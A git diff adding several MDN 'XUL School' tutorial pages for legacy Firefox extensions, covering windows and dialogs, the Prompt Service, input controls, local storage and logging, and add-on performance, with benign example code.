+<p>{{ PreviousNext("Escuela_XUL/Montando_un_ambiente_de_desarrollo", "Escuela_XUL/Agregar_barras_de_herramientas_y_botones_para_éstas") }}</p>
+
+<p><span style="font-size: small;">This tutorial was kindly donated to Mozilla by Appcoast.</span></p>
diff --git a/files/es/mozilla/tech/xul/escuela_xul/agregar_ventanas_y_dialogos/index.html b/files/es/mozilla/tech/xul/escuela_xul/agregar_ventanas_y_dialogos/index.html
new file mode 100644
index 0000000000..030ed3c918
--- /dev/null
+++ b/files/es/mozilla/tech/xul/escuela_xul/agregar_ventanas_y_dialogos/index.html
@@ -0,0 +1,197 @@
+---
+title: Agregar ventanas y dialogos
+slug: Mozilla/Tech/XUL/Escuela_XUL/Agregar_ventanas_y_dialogos
+translation_of: Archive/Add-ons/Overlay_Extensions/XUL_School/Adding_windows_and_dialogs
+---
+<p>{{AddonSidebar}}</p>
+
+<div class="blockIndicator warning">
+<p>Support for extensions using XUL/XPCOM or the Add-on SDK was removed in Firefox 57, released November 2017. As there is no supported version of Firefox enabling these technologies, this page will be removed by December 2020.</p>
+</div>
+
+<p>{{LegacyAddonsNotice}}</p>
+
+<p>{{ PreviousNext("Escuela_XUL/El_modelo_de_caja", "Escuela_XUL/Agregar_barras_laterales") }}</p>
+
+<h2 id="Opening_windows_and_dialogs">Opening windows and dialogs</h2>
+
+<p>To open a new window, use the Javascript <a href="/en/DOM/window.open" title="en/DOM/window.open">window.open</a> function just like with HTML windows.</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">window.open(
+  <span class="code-quote">"chrome:<span class="code-comment">//xulschoolhello/content/someWindow.xul"</span>,
+</span>  <span class="code-quote">"</span><span class="code-quote">xulschoolhello</span><span class="code-quote">-some-window"</span>,
+  <span class="code-quote">"chrome,centerscreen"</span>);</pre>
+</div>
+</div>
+
+<p>The first argument is the URL to open, the second is an id to identify the window, and the last is an optional comma-separated list of features, which describe the behavior and appearance of the window. If this value is null or empty, the default toolbars of the main window will be added to the new one, which is rarely what you want. The <a href="/en/DOM/window.open" title="en/DOM/window.open">window.open</a> page has a detailed description of the features you can use and their values. The following features are very important and you should always keep them in mind:</p>
+
+<ul>
+ <li>chrome. This can only be used from the chrome, not from regular HTML JavaScript. It indicates that a chrome document is being opened, not a web page. This means that the document defines the whole window, and not only the inner content area. You should always include it when opening a XUL window or dialog.</li>
+ <li>modal. Modal windows block their parent window until action is taken on them. An alert window is an example of this. Modal windows should be avoided when possible because they interrupt the user's browsing and can become annoying very quickly. This feature should only be used when there's no way to continue without having the user do something. <strong>Never open modal windows at startup.</strong></li>
+ <li>resizable. Indicates the user can resize the window or not. In general, windows should not be resizable unless they display dynamically generated content from a datasource, such as lists or trees that may need resizing to have a better view of the content.</li>
+</ul>
+
+<p>To open a new dialog, use the function <a href="/en/DOM/window.openDialog" title="en/DOM/window.openDialog">window.openDialog</a>, an extension of the <em>open</em> function. It allows you to send a set of optional parameters that can be used to communicate with the dialog.</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">let someValue = 2;
+let returnValue = { accepted : false , result : "" };
+
+window.openDialog(
+  "<a class="external" rel="freelink">chrome://xulschoolhello/content/someDialog.xul</a>",
+  "xulschoolhello-some-dialog", "chrome,centerscreen",
+  someValue, returnValue); // you can send as many extra parameters as you need.
+
+// if (returnValue.accepted) { do stuff }</pre>
+</div>
+</div>
+
+<p>The optional parameters are available in the dialog code through the <em>window.arguments</em> property:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">let someValue = window.arguments[0];
+let returnValue = window.arguments[1];
+
+// returnValue.accepted = true;
+// returnValue.result = "something";
+</pre>
+</div>
+</div>
+
+<p>The parameter named <em>returnValue</em> is an object that the dialog will modify to reflect what the user did in it. This is the simplest way to have the dialog return something to its opener. Note that the opener will wait until the dialog is closed. This means the <em>openDialog</em> function call will not return until the dialog has been closed by the user.</p>
+
+<h2 id="Common_Dialogs_and_the_Prompt_Service">Common Dialogs and the Prompt Service</h2>
+
+<p>There are several types of dialogs that are fairly common, so there are ways to create them easily without having to reinvent the wheel and write all their XUL and JS code all over again. Whenever you need a new dialog, you should ask yourself if it can be implemented using these common dialogs, and use them whenever it is possible. They have been thoroughly tested for OS integration, accessbility and localization, so you save yourself a lot of work and favor them.</p>
+
+<p>Using the <a href="/en/XPCOM_Interface_Reference/nsIPromptService" title="en/NsIPromptService">Prompt Service</a> is the recommended way to create common dialogs in an extension. Read the article and its examples carefully, because there are many useful functions to use in the Prompt Service. There are some equivalent, simpler functions that are available in the <em>window</em> object, but those are meant for unprivileged HTML JavaScript code.</p>
+
+<h3 id="Alert">Alert</h3>
+
+<p>The alert is the simplest form of dialog. All it does is display a text message that the user can read and then click the OK button to dismiss it. We have been using the <a href="/en/DOM/window.alert" title="en/DOM/window.alert">window.alert</a> function to open alert messages in our examples so far, but that's not the right way to do it. It's OK to use this function if you're just debugging some problem and want to see if the program reaches a specific line of code, or to inspect the value of a variable, but your final extension should not have <em>alert</em> calls anywhere.</p>
+
+<p>If you use <em>window.alert</em>, the alert window will have the title [JavaScript Application], indicating that the source of the message is not well defined. The Prompt Service allows better alerts to be displayed. Here's an example of displaying an alert using the Prompt Service:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">let prompts =
+  Cc["@mozilla.org/embedcomp/prompt-service;1"].
+    getService(Ci.nsIPromptService);
+
+prompts.alert(window, "Alert Title", "Hello!");</pre>
+</div>
+</div>
+
+<p>You should of course use localized strings instead of hard-coded ones.</p>
+
+<p>The Prompt Service allows you to set the title of the dialog however you want it, and also lets you specify the window you want to use as a parent for the alert. This normally should be set to the current window. You can pass a null value and the service will pick the currently active window.</p>
+
+<h3 id="Confirm">Confirm</h3>
+
+<p>Confirmation dialogs display a text with a Yes / No question, and prompts the user to choose an answer. In HTML you can use the <a href="/en/DOM/window.confirm" title="en/DOM/window.confirm">window.confirm</a> function for this. The Prompt Service has a <em>confirm</em> method with similar behavior:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">let prompts =
+  Cc["@mozilla.org/embedcomp/prompt-service;1"].
+    getService(Ci.nsIPromptService);
+
+if (prompts.confirm(window, "Confirm Title", "Would you like to continue?")) {
+  // do something.
+} else {
+  // do something else
+}</pre>
+</div>
+</div>
+
+<p>The method returns a boolean value indicating the user's response.</p>
+
+<h3 id="Others">Others</h3>
+
+<p>Unprivileged Javascript can also use the <a href="/en/DOM/window.prompt" title="en/DOM/window.prompt">window.prompt</a> function to receive text input from the user. The Prompt Service has a very rich set of functions that allow different kinds of inputs, such as text, passwords, usernames and passwords, and checkboxes that can be used for "Never ask this again"-type dialogs. The <a href="/en/XPCOM_Interface_Reference/nsIPromptService#confirmEx" title="en/nsIPromptService#confirmEx">confirmEx</a> and <a href="/en/XPCOM_Interface_Reference/nsIPromptService#prompt" title="en/nsIPromptService#prompt">prompt</a> methods are the most customizable, allowing a great deal of options that cover most common dialog cases.</p>
+
+<p>Using the Prompt Service will save you a lot of XUL coding, and you'll be at ease knowing that you're using Mozilla's tried and tested code.</p>
+
+<h2 id="The_Dialog_Element">The Dialog Element</h2>
+
+<p>When the Prompt Service is not enough, you'll have to create you own XUL dialogs. Luckily, you still get a great deal of help from the platform if you use the <a href="/en/XUL/dialog" title="en/XUL/dialog">dialog</a> element as the document root instead of the more generic <em>window</em> element.</p>
+
+<p>You may be asking yourself what's the big deal about defining a simple XUL window with an OK and maybe a Cancel button. The dialogs we have covered in this section are very simple and shouldn't be too hard to implement manually using XUL. Well, it's more complicated than that. Different operating systems order and position their buttons differently in their dialogs. There are also subtle aspects about window size, margins and paddings that are not the same for all systems, so you should avoid making dialogs from scratch or overriding the default dialog CSS styles.</p>
+
+<p>The <em>dialog</em> element handles all of this transparently. All you need to do is define which buttons you'll need and the actions associated with them.</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">&lt;dialog id=<span class="code-quote">"</span><span class="code-quote">xulschoolhello</span><span class="code-quote">-hello-dialog"</span>
+  title=<span class="code-quote">"&amp;</span><span class="code-quote">xulschoolhello</span><span class="code-quote">.helloDialog.title;"</span>
+  buttons=<span class="code-quote">"accept,cancel"</span>
+  ondialogaccept=<span class="code-quote">"<span class="code-keyword">return</span> XULSchoolChrome.HelloDialog.accept();"</span>
+  ondialogcancel=<span class="code-quote">"<span class="code-keyword">return</span> XULSchoolChrome.HelloDialog.cancel();"</span>
+  xmlns=<span class="code-quote">"http:<span class="code-comment">//www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"</span>&gt;</span></pre>
+</div>
+</div>
+
+<p>Carefully read the specification of the <a href="/en/XUL/dialog" title="en/XUL/dialog">dialog</a> element. You'll see that you can choose from a wide variety of buttons, associate any action you need to them, override their labels, and even add completely customized extra buttons. All of this without having to worry about your dialog looking odd in some operating systems. The only constant rule is that clicking on OK and Cancel will close the dialog unless your associated function returns false. You should avoid returning false, though, specially with the Cancel button. Dialogs in general should be easy to dismiss.</p>
+
+<div class="panel" style="border-width: 1px;">
+<div class="panelContent">
+<p>Your dialogs shouldn't have fixed dimensions because of potential localization problems. Dialogs are sized to their contents and will generally work fine. However, there are cases where the dialog contents are generated or expanded dynamically by your code, and you'll need to resize them appropriately. The <a href="/en/DOM/window.sizeToContent" title="en/DOM/window.sizeToContent">window.sizeToContent</a> function is what you need in this case.</p>
+</div>
+</div>
+
+<h2 id="Input_Controls">Input Controls</h2>
+
+<p>Most additional XUL windows and dialogs in extensions are some kind of input form. Let's look into the most commonly used form elements and how to use them in your XUL windows. There isn't much we need to add from what the XUL Tutorial explains, so go ahead and read the following sections:</p>
+
+<ul>
+ <li><a href="/en/XUL_Tutorial/Input_Controls" title="en/XUL Tutorial/Input Controls">Input controls</a></li>
+ <li><a href="/en/XUL_Tutorial/Numeric_Controls" title="en/XUL Tutorial/Numeric Controls">Numeric controls</a></li>
+ <li><a href="/en/XUL_Tutorial/List_Controls" title="en/XUL Tutorial/List Controls">List controls</a></li>
+</ul>
+
+<p>There are some other aspects to take into account when handling input controls, which we cover in the following sections.</p>
+
+<h3 id="Groupboxes">Groupboxes</h3>
+
+<p>The <a href="/en/XUL/groupbox" title="en/XUL/groupbox">groupbox</a> element should be easy to understand: it groups a series of XUL controls together. It's a box container with styling that is usually a visible border around its contents, so that it's clear what is being grouped together. It is frequently used with the <a href="/en/XUL/caption" title="en/XUL/caption">caption</a> element to associate the grouped elements with a title.</p>
+
+<p>The <em>groupbox</em> shouldn't be seen as an aesthetic device, but a logical one. If all you need is a border, use CSS. The <em>groupbox</em> element should be used when enclosed elements share some function which is separate from other elements or groups in the same window. It's also a useful accessibility feature, because screen readers will read the caption right before reading any text in its contents. You can change its style using CSS in case you don't want the borders to appear. See the Firefox Preferences window for an example of this: sections are defined using <em>groupbox</em> elements, but their style is quite different from the default.</p>
+
+<h3 id="Attribute_Persistence">Attribute Persistence</h3>
+
+<p>User actions can change the state of your windows, such as selecting an option in a listbox, or entering text in a textbox. If the user closes and then reopens your window, all the controls are reset to their defaults, which may not be what you want. You need some way of remembering the user-manipulated attribute values so that the window reloads it last state when opened.</p>
+
+<p>Most XUL elements support the <a href="/en/XUL/Attribute/persist" title="en/XUL/Attribute/persist">persist</a> attribute, which has this exact function. You set the <em>persist</em> attribute with a space-separated list of attribute names, indicating which attribute values must be persisted across window "sessions".</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">&lt;checkbox id=<span class="code-quote">"</span><span class="code-quote">xulschoolhello</span><span class="code-quote">-some-checkbox"</span>
+  label=<span class="code-quote">"&amp;</span><span class="code-quote">xulschoolhello</span><span class="code-quote">.someText.label;"
+ </span> checked=<span class="code-quote">"<span class="code-keyword">false</span>"</span> persist=<span class="code-quote">"checked"</span> /&gt;</pre>
+</div>
+</div>
+
+<p>Setting the <em>id</em> attribute of the element is mandatory if you want the <em>persist</em> attribute to work. You can also set persistence programatically using the <em>document.persist</em> function:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">document.persist("xulschoolhello-some-checkbox", "checked");</pre>
+</div>
+</div>
+
+<p>Persistent data is stored in the user profile, in the file <em>localstore.rdf</em>. You may need to modify or delete this file often when testing persistent data in your extension.</p>
+
+<h3 id="Focus_and_Tabbing">Focus and Tabbing</h3>
+
+<p>Moving through all input controls in a window using only the keyboard is an accessibility requirement. You can do this in most Firefox windows by pressing the Tab key. Each Tab key press moves you to the next control in the window, giving it focus.</p>
+
+<p>In general, there's nothing you need to do in order to have good keyboard focus management. Firefox will automatically focus the first input control in your window, and tab focus advances in the order the items are found in the XUL document. If you have a very complex layout, or need customized tabbing behavior, you can set the <a href="/en/XUL/Property/tabIndex" title="en/XUL/Property/tabIndex">tabindex</a> attribute in the controls. You can also use the <a href="/en/XUL/Method/focus" title="en/XUL/Method/focus">focus</a> function to focus an element depending on events such as window load. You should do this carefully, to avoid having inaccessible controls.</p>
+
+<p>You can also use the <a href="/en/CSS/-moz-user-focus" title="en/CSS/-moz-user-focus">-moz-user-focus</a> CSS property to enable focusing of elements that typically wouldn't receive focus. Again, this should be used sparingly.</p>
+
+<p><span style="font-size: small;">This tutorial was kindly donated to Mozilla by Appcoast.</span></p>
diff --git a/files/es/mozilla/tech/xul/escuela_xul/almacenamiento_local/index.html b/files/es/mozilla/tech/xul/escuela_xul/almacenamiento_local/index.html
new file mode 100644
index 0000000000..888f350c16
--- /dev/null
+++ b/files/es/mozilla/tech/xul/escuela_xul/almacenamiento_local/index.html
@@ -0,0 +1,140 @@
+---
+title: Almacenamiento local
+slug: Mozilla/Tech/XUL/Escuela_XUL/Almacenamiento_local
+translation_of: Archive/Add-ons/Overlay_Extensions/XUL_School/Local_Storage
+---
+<p>{{LegacyAddonsNotice}}{{AddonSidebar}}</p>
+<p>{{ PreviousNext("Escuela_XUL/Manejo_de_preferencias", "Escuela_XUL/Interceptando_cargas_de_página") }}</p>
+
+<p>It is very common for an extension to require some kind of local persistent storage. We recommend that you at least keep an error log, so that you can request error data from your users when you encounter problems that are hard to debug. We'll discuss logging in this section, but first let's look at the right (or at least, common and scalable) way of managing local files.</p>
+
+<p>It is strongly recommended that you keep your local files inside the Firefox profile directory. Otherwise you may run into problems if the same extension is installed in multiple profiles. The common practice is to create a directory with the name of your project at the root of the profile folder, and keep your files inside. The structure could be something like this:</p>
+
+<ul>
+ <li>s435L.default (your profile directory)
+  <ul>
+   <li>XULSchool
+    <ul>
+     <li>log.txt</li>
+     <li>somedbfile.sqlite</li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+</ul>
+
+<p>The <a href="/en/nsDirectoryService" title="en/nsDirectoryService">Directory Service</a> and the {{ interface("nsIFile") }} interface are used to create the local directory. Here's what we usually do: we have a function that returns a reference to our root directory and creates it if necessary.</p>
+
+<pre class="brush: js">getLocalDirectory : function() {
+  let directoryService =
+    Cc["@mozilla.org/file/directory_service;1"].
+      getService(Ci.nsIProperties);
+  // this is a reference to the profile dir (ProfD) now.
+  let localDir = directoryService.get("ProfD", Ci.nsIFile);
+
+  localDir.append("XULSchool");
+
+  if (!localDir.exists() || !localDir.isDirectory()) {
+    // read and write permissions to owner and group, read-only for others.
+    localDir.create(Ci.nsIFile.DIRECTORY_TYPE, 0774);
+  }
+
+  return localDir;
+},
+</pre>
+
+<p><strong>ProfD</strong> is a special identifier for the profile directory that exists so that you don't need to figure out its location. In general this is the only directory flag you'll need, but sometimes you'll need access to other system directories, and you don't want to have to worry about which operating system or system language your extension is running on. A {{ source("xpcom/io/nsDirectoryServiceDefs.h","full list of these flags") }} can be found in the Firefox source.<br>
+ Having that function in place, we do something like the following:</p>
+
+<pre class="brush: js">let myFile = XULSchool.getLocalDirectory();
+
+myFile.append("someFile.txt");
+// do stuff with the file.</pre>
+
+<p>Files are handled with the {{ interface("nsIFile") }} interface. An {{ interface("nsIFile") }} doesn't necessarily represent an existing file, as in the previous examples. You first specify the file using {{ interface("nsIFile") }} and then use {{ ifmethod("nsIFile","create") }} to actually write it out to disk. You can also check if an {{ interface("nsIFile") }} exists using {{ ifmethod("nsIFile","exists") }}.</p>
+
+<p>To read and write information in files, you need to use stream objects. You can read more about <a href="/en/Code_snippets/File_I//O" title="en/Code snippets/File I//O">reading and writing files here</a>. In general you won't need to do this directly, but it's always useful to know.</p>
+
+<p>Finally, there's the issue of deleting local files when the extension is going to be uninstalled. Whether this is necessary or not is a matter of preference. Some extension developers prefer to leave the data there, so that if the user chooses to install the extension again, all the previous data will be recovered. This is the default behavior when Firefox is uninstalled: the profile information remains intact and it will be there waiting for you if Firefox is installed again. Others feel concerned about privacy and storing private information locally without deleting it. A good argument can be done for both, so it is up to you to choose what to do in this case. The FUEL library has an <a href="/en/Toolkit_API/extIExtension" title="en/Toolkit API/extIExtension">uninstall event</a> you can use to perform these operations.</p>
+
+<h2 id="Logging">Logging</h2>
+
+<p>Good logging is essential in all kinds of software projects. Any extension that is more complex than a Hello World needs some way to log errors and trace execution without having to fire up a debugger.</p>
+
+<p>It used to be the case that custom logging solutions were necessary, but Mozilla Labs have come up with a JavaScript implementation of a logger similar to the <a class="external" href="http://logging.apache.org/log4j/1.2/index.html">Log4J logger</a> used in Java projects. The logger is called <a class="link-https" href="https://wiki.mozilla.org/Labs/JS_Modules#Logging" title="https://wiki.mozilla.org/Labs/JS_Modules#Logging">Log4Moz</a> and it is implemented as a JavaScript Code Module, so it only works on Firefox 3 and above.</p>
+
+<p>To use this logger, you need to copy the <strong>log4moz.js</strong> file to your modules directory. In the initialization method of your one of your "common" or startup objects, add the following code:</p>
+
+<pre class="brush: js">let formatter = new Log4Moz.BasicFormatter();
+let root = Log4Moz.repository.rootLogger;
+let logFile = this.getLocalDirectory(); // remember this?
+let appender;
+
+logFile.append("log.txt");
+
+// Loggers are hierarchical, lowering this log level will affect all
+// output.
+root.level = Log4Moz.Level["All"];
+
+// this appender will log to the file system.
+appender = new Log4Moz.RotatingFileAppender(logFile, formatter);
+appender.level = Log4Moz.Level["All"];
+root.addAppender(appender);
+</pre>
+
+<p>After that, you can create a logger object for any object in your project like this:</p>
+
+<pre class="brush: js">this._logger = Log4Moz.repository.getLogger("XULSchool.SomeObject");
+
+this._logger.level = Log4Moz.Level["All"];
+</pre>
+
+<p>{{ note("We recommend that you create a logger instance in the constructor of every object and store it in a private variable.") }}</p>
+
+<p>And then logging is done with any of the following methods, depending on the kind of message being logged:</p>
+
+<pre class="brush: js">this._logger.fatal("This is a fatal message.");
+this._logger.error("This is an error message.");
+this._logger.warn("This is a warning message.");
+this._logger.info("This is an info message.");
+this._logger.config("This is a config message.");
+this._logger.debug("This is a debug message.");
+this._logger.trace("This is a trace message.");
+</pre>
+
+<p>You can filter the output of the global logger or any specific logger instance by setting the <strong>level</strong> property. During development you should use the "All" level, but for release versions it's usually better to move the level up to "Warn", so that the log is compact and execution is more efficient.</p>
+
+<div class="note"><strong>Note:</strong> We recommend that all exception <strong>catch</strong> blocks include some logging at the error or warn levels, and in general you should use logging freely in order to have as much information as possible to fix bugs and know what is going on. Don't log inside functions that are called too often, such as <strong>mouseover</strong> event handlers, or certain HTTP activity listeners. This impacts performance and fills the log with useless messages. We normally add a comment that indicates that logging is not done there for performance reasons.</div>
+
+<h2 id="SQLite">SQLite</h2>
+
+<p><a class="external" href="http://en.wikipedia.org/wiki/Sqlite">SQLite</a> storage was introduced in Firefox 2, and it's the preferred storage mechanism in Firefox. It is the storage system used for the <a href="/en/Places" title="en/Places">Places API</a> that manages bookmarks and history. It's also used for storing cookies, form inputs, and others.</p>
+
+<p>SQLite is a lightweight SQL based storage system. It is ideal for embedding in other programs, and is currently in use in several popular applications. It's also the storage system we recommend for local storage in extensions.</p>
+
+<p>The <a href="/en/Storage" title="en/Storage">Storage page</a> has a good explanation on how to use the SQLite API, so we won't go over that again. If you're unfamiliar with SQL or if you're interested in knowing the restrictions in the syntax used by SQLite, you can read more at the <a class="external" href="http://www.sqlite.org/lang.html">SQLite site</a>.</p>
+
+<p>You should carefully design your database structure, taking into account features you're planning on adding in the future. Adding or removing columns, or making other changes to your DB structure from one version of your extension to the next will probably cause breakage of user data in older versions. You'll need to carefully add migration code that moves the data from the old DB format to the new, and this becomes increasingly complex as you add new versions and new structure changes. So, be careful and plan for the future.</p>
+
+<p>There are two paths you can take when creating the local database you'll be using for your extension:</p>
+
+<ul>
+ <li>Generate the database file (through {{ ifmethod("mozIStorageService","openDatabase") }}, all tables (through {{ ifmethod("mozIStorageConnection","createTable") }}, and initial data when your extension starts up for the first time. If you need a complex database this can be heavy in terms of time and code, but this will only happen once and this can be done in a lazy or asynchronous way.</li>
+ <li>Have an initial database file in your <strong><code>defaults</code></strong> directory that you can copy to the user's profile. This way you just need to do a file copy. You can reach the <code>defaults</code> directory at <code><strong>ProfD/extensions/YOUR_EXTENSION_ID.xpi/defaults</strong></code> for packed extensions or <code><strong>ProfD/extensions/YOUR_EXTENSION_ID/defaults</strong></code> for unpacked extensions. Packed extensions have appear with Gecko 2.0 (Firefox 4.0). This approach has the downside of being less stable.</li>
+</ul>
+
+<h2 id="RDF">RDF</h2>
+
+<p><a href="/en/RDF" title="en/RDF">RDF</a> used to be the preferred storage mechanism for Firefox. If was used for most of its datasources, and you can still see it in use here and there, like in the <strong>install.rdf</strong> file. It is being phased out, with SQLite taking its place in most cases. The RDF API may be removed at some point in the future because it requires a great deal of code even for the simplest tasks, and it currently sees little maintenance, so we don't recommend using it unless you really have to.</p>
+
+<p>You'll still need to understand at least a little about RDF when you read the documentation about templates.</p>
+
+<h2 id="Templates">Templates</h2>
+
+<p>Templates are a very powerful tool in Firefox. They allow you to automatically generate XUL content using information from a datasource, and automatically update the content once the datasource changes. They were designed with RDF datasources in mind, but since Firefox 3 they have been extended to support SQLite datasources as well.</p>
+
+<p>Handling templates can also be complicated, but it is worth the effort if you need to display long lists or trees with complex data. If you manage to get your display code to use templates, you will have saved a lot of coding. Since templates are not necessary for most extensions and they're a complicated subject, it's better that you read it from the experts. There's a very detailed <a href="/en/XUL/Template_Guide" title="en/XUL/Template Guide">XUL Template Guide here</a>. As mentioned before, it revolves around RDF, so you may need to take some time to understand how RDF works. There's a section about <a href="/en/XUL/Template_Guide/SQLite_Templates" title="en/XUL/Template Guide/SQLite Templates">SQLite Templates</a> in the guide, but there are some concepts in it that will require you to read at least some of the rest of it.</p>
+
+<p>{{ PreviousNext("Escuela_XUL/Manejo_de_preferencias", "Escuela_XUL/Interceptando_cargas_de_página") }}</p>
+
+<p><span style="font-size: small;">This tutorial was kindly donated to Mozilla by Appcoast.</span></p>
diff --git a/files/es/mozilla/tech/xul/escuela_xul/apéndice_a_colon__rendimiento_de_los_add-ons/index.html b/files/es/mozilla/tech/xul/escuela_xul/apéndice_a_colon__rendimiento_de_los_add-ons/index.html
new file mode 100644
index 0000000000..74a50cf7a2
--- /dev/null
+++ b/files/es/mozilla/tech/xul/escuela_xul/apéndice_a_colon__rendimiento_de_los_add-ons/index.html
@@ -0,0 +1,57 @@
+---
+title: 'Apéndice A: Rendimiento de los Add-ons'
+slug: 'Mozilla/Tech/XUL/Escuela_XUL/Apéndice_A:_Rendimiento_de_los_Add-ons'
+translation_of: 'Archive/Add-ons/Overlay_Extensions/XUL_School/Appendix_A:_Add-on_Performance'
+---
+<div class="blockIndicator warning">
+<p>Support for extensions using XUL/XPCOM or the Add-on SDK was removed in Firefox 57, released November 2017. As there is no supported version of Firefox enabling these technologies, this page will be removed by December 2020.</p>
+</div>
+
+<p>{{LegacyAddonsNotice}}{{AddonSidebar}}</p>
+
+<div class="note"><strong>Note:</strong> See the newer article <a href="/en/Extensions/Performance_best_practices_in_extensions" title="en/Extensions/Performance best practices in extensions">Performance best practices in extensions</a> for more up-to-date information about how to optimize the performance of your add-on.</div>
+
+<p>Add-ons can have a noticeable performance impact on Firefox. This is evident when opening a Firefox profile that has many add-ons installed; some profiles can take minutes to load, which is a serious inconvenience for users that gives them a negative view of Firefox. Add-on developers need to make sure that they minimize their add-ons' performance impact, and here are a few simple guidelines that should be followed to achieve that.</p>
+
+<h2 id="Startup">Startup</h2>
+
+<p>This is the area where add-ons have the most noticeable impact. Most add-ons use the load event handler in the main overlay to initialize their objects and sometimes read files or even fetch remote data. The problem with the <em>onload</em> event is that it runs before the main window becomes visible, so all handlers need to complete before the user can see the window. An add-on can normally add a few hundred milliseconds to startup time because of the load handler, and it's not hard to figure out what having several add-ons will do.</p>
+
+<p>Luckily, minimizing your startup time is easy, if you follow these guidelines:</p>
+
+<ol>
+ <li>Do not load or run code before it’s needed. Add-ons can have extra features that are only available depending on user preferences. Other add-ons have most of their features depend on a user being logged in to a service. Don’t load at startup something you won’t need at the time.</li>
+ <li><a href="/../../../../en/Using_JavaScript_code_modules" title="../../../../en/Using_JavaScript_code_modules">JavaScript Code Modules</a>. Use them. JSM provide the cleanest way to separate JS into modules that can be loaded on request, unlike chrome scripts which are generally loaded with the overlay at startup. Keep as much of your code in JSM, make it as modular as you can, and only load modules as you require them. If your add-on is too simple for JSM, don’t worry about it. There’s still one more thing you can do.</li>
+ <li>Do as little as possible in your load handler. Ask yourself: is there anything I can’t run 100 ms or even 500 ms later? If there is, just use an <a href="/../../../../En/nsITimer" title="../../../../En/nsITimer">nsITimer</a> or the <a href="/../../../../en/DOM/window.setTimeout" title="../../../../en/DOM/window.setTimeout">setTimeout</a> function to delay running this code . The Firefox window will be able to load sooner and your startup code will run almost instantaneously afterward, in parallel with the loading of the homepage or the saved tab session. The browser will now load faster, and your code will still load at startup for all practical purposes. The code is simple enough:</li>
+</ol>
+
+<pre class="brush: js">// this is the function that is called in the load event handler.
+init : function() {
+  let that = this;
+  // run this later and let the window load.
+  window.setTimeout(function() { that.postInit(); }, 500);
+},
+
+postInit: function() {
+  // actual init code goes here.
+},
+</pre>
+
+<p>How can you tell it works? The <a class="link-https" href="https://wiki.mozilla.org/Firefox/Projects/StartupPerformance/MeasuringStartup" title="https://wiki.mozilla.org/Firefox/Projects/StartupPerformance/MeasuringStartup">Measuring Startup</a> wiki page includes a relatively simple test you can use to compare a clean Firefox profile vs that profile with your add-on installed.</p>
+
+<h2 id="Page_Loads">Page Loads</h2>
+
+<p>This is another critical route that many add-ons tap into. The <a href="/en/XUL_School/Intercepting_Page_Loads" title="en/XUL School/Intercepting Page Loads">Intercepting Page Loads</a> section details several techniques to do this, and you should read all of them carefully to figure out which one you need. Some of these events are fired multiple times during a single page load, and having inefficient code in the event handlers can cause a noticeable delay that users may have hard time figuring out.</p>
+
+<p>Look at the source samples in the article and notice how they mostly consist of nested <em>if</em> statements. This is what you should do <strong>first</strong> to make sure that you filter out all cases that don't interest you so that your add-on doesn't slow down other requests. A very common filter is the URL of the page, since most add-ons are limited to one or a few domains. Use regular expressions if you need to. Make sure your comparison code is as efficient as possible.</p>
+
+<p>Finally, make sure all of your page load code is as efficient as possible. This can be tricky for some add-ons, like ad or script blockers that need to check a whitelist or blacklist. Nevertheless, loading pages is pretty important in Firefox, and users expect it to be fast. Try your best to keep it that way.</p>
+
+<h2 id="Other_Recommendations">Other Recommendations</h2>
+
+<ul>
+ <li>Always clean up after yourself. Event listeners, observers and other handlers normally have both an add and a remove function. Don't forget to remove what you don't need anymore! Even if you need something during the whole existence of the window, you should clean everything up in the unload event handler.</li>
+ <li>Even the unload event should be handled efficiently. Even if it is not as important as other areas, Firefox shutdown can also be slowed down because of add-ons. If there's anything you can unload before shutdown, or if there's anything you can do to unload things more efficiently, then it's important that you do.</li>
+ <li><strong>Never</strong> use XMLHttpRequest in synchronous mode.</li>
+ <li>If your add-on needs to perform a heavy operation like sorting or a complex mathematical calculation, you should use <a href="/En/Using_web_workers" title="En/Using web workers">DOM Workers</a> to offload the work to other threads.</li>
+</ul>
diff --git a/files/es/mozilla/tech/xul/escuela_xul/apéndice_b_colon__instalar_y_desinstalar_scripts/index.html b/files/es/mozilla/tech/xul/escuela_xul/apéndice_b_colon__instalar_y_desinstalar_scripts/index.html
new file mode 100644
index 0000000000..4ee95d992b
--- /dev/null
+++ b/files/es/mozilla/tech/xul/escuela_xul/apéndice_b_colon__instalar_y_desinstalar_scripts/index.html
@@ -0,0 +1,51 @@
+---
+title: 'Apéndice B: Instalar y desinstalar Scripts'
+slug: 'Mozilla/Tech/XUL/Escuela_XUL/Apéndice_B:_Instalar_y_desinstalar_Scripts'
+translation_of: >-
+  Archive/Add-ons/Overlay_Extensions/XUL_School/Appendix_B:_Install_and_Uninstall_Scripts
+---
+<div class="blockIndicator warning">
+<p>Support for extensions using XUL/XPCOM or the Add-on SDK was removed in Firefox 57, released November 2017. As there is no supported version of Firefox enabling these technologies, this page will be removed by December 2020.</p>
+</div>
+
+<p>{{LegacyAddonsNotice}}{{AddonSidebar}}</p>
+
+<p>Add-ons normally run code at startup, and as it is covered in the main tutorial, all you need is a <em>load</em> event handler and a little code. It is also common for an add-on to require to run a script only when it is installed for the first time, or every time it is updated. It can be used to write or copy necessary files to the profile folder, like the initial DB the add-on will use for storage. A few others require cleanup code to be run after the add-on is uninstalled. This appendix covers these cases with simple code that should work for most add-ons.</p>
+
+<h2 id="Install_Scripts">Install Scripts</h2>
+
+<p>Just like with a regular initialization function, we want a <em>load</em> event handler:</p>
+
+<pre class="brush: js">// rest of overlay code goes here.
+window.addEventListener(
+  "load", function() { XulSchoolChrome.BrowserOverlay.init(); }, false);
+</pre>
+
